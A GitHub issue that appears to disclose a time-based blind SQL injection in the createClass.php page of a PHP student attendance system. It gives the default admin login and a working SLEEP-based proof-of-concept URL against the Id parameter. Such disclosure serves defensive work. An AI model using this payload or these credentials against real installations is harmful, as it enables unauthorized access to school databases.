Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SQL injection vulnerability in Student Attendance Management System #2

Closed
huclilu opened this issue Nov 17, 2022 · 0 comments
Closed

Comments

@huclilu
Copy link

huclilu commented Nov 17, 2022

Build environment: Aapche2.4.39; MySQL5.7.26; PHP7.3.4

SQL injection vulnerability in Student Attendance Management System。input admin@mail.com / Password@123 Log in to the background. Then modify the information in createClass Php, the ID is assigned to the variable $ID, and then inserted into the database for query, and the query information is returned, causing a SQL injection vulnerability

2.sql injectionPOC:

http://127.0.0.1/Admin/createClass.php?action=edit&Id=2' AND (SELECT 5892 FROM (SELECT(SLEEP(5)))cbkc) AND 'Popu'='Popu---
  • Use sqlmap to verify

  • Manual verification
  1. SLEEP(5)

  1. SLEEP(8)

@huclilu huclilu closed this as completed Nov 18, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant